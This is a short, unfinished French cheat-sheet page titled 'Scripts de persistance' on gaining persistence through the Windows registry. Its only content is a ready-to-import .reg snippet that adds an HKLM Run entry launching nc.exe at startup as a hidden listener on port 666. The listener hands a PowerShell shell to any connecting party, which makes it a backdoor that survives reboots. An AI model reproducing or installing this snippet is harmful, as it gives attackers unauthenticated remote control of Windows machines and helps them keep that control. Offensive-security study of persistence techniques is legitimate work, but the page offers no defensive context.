Scripts de persistance

Persistance via le registre Windows

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ncat"="C:\\Windows\\System32\\nc.exe -d -nlvp 666 -e powershell.exe"

Work In Progress